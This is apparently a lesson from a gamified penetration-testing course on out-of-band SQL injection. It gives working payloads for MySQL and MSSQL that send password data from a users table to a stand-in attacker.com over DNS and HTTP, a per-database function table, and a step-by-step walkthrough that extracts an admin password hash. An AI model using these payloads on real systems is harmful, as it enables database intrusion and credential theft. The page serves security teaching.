Out-of-band (OOB) SQL injection extracts data through channels other than the application's HTTP response. This technique is useful when in-band extraction is impossible or too slow, using DNS requests or HTTP callbacks to exfiltrate data.
Having mastered blind injection techniques, we now explore an alternative approach that bypasses the limitations of in-band extraction entirely by using separate communication channels.
OOB techniques use database functions that can make network requests to external servers. By embedding extracted data in these requests, we can receive the data on our own server without relying on the application's response.
DNS exfiltration embeds data in DNS queries to a domain you control. The database resolves a hostname containing your extracted data, and your DNS server logs the request.
# MySQL DNS exfiltration
http://target.com/product.php?id=1 AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\a')))--
# Alternative using INTO OUTFILE with DNS
http://target.com/product.php?id=1 UNION SELECT 1,(SELECT password FROM users LIMIT 1),3 INTO OUTFILE '\\\\attacker.com\\share\\data.txt'--Some databases support making HTTP requests directly, allowing data exfiltration through web requests to your server.
# MSSQL using sp_OACreate for HTTP requests
http://target.com/product.php?id=1; DECLARE @url VARCHAR(255); SET @url = 'http://attacker.com/(opens in new tab)?' + (SELECT password FROM users); EXEC sp_OACreate 'MSXML2.XMLHTTP', @url OUT; EXEC sp_OAMethod @url, 'open', NULL, 'GET', @url, false; EXEC sp_OAMethod @url, 'send'--To receive exfiltrated data, you need to set up a server that can capture DNS queries or HTTP requests containing the data.
💡 Services like interactsh.com or burp collaborator provide ready-made OOB servers for receiving exfiltrated data without setting up your own infrastructure.
| Database | Method | Function |
|---|---|---|
| MySQL | DNS | LOAD_FILE() with UNC path |
| MySQL | HTTP | User-defined function (UDF) |
| PostgreSQL | HTTP | dblink or PL/Python |
| MSSQL | HTTP | sp_OACreate/sp_OAMethod |
| MSSQL | DNS | xp_dirtree with UNC path |
| Oracle | HTTP | UTL_HTTP package |
| Oracle | DNS | UTL_INADDR |
⚠️ OOB techniques require the database to have network access to external servers. Many production databases are isolated from the internet, limiting this technique's applicability.
# Complete DNS exfiltration attack
# Step 1: Set up DNS server on attacker.com
# Step 2: Inject payload to exfiltrate admin password
http://target.com/product.php?id=1 AND (SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM users WHERE username='admin'),'.attacker.com\test')))--
# Step 3: Monitor DNS logs for the exfiltrated data
# DNS query received: 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
# Extracted MD5 hash: 5f4dcc3b5aa765d61d8327deb882cf99Verify exercises to earn ★ 200 XP and unlock next lab level.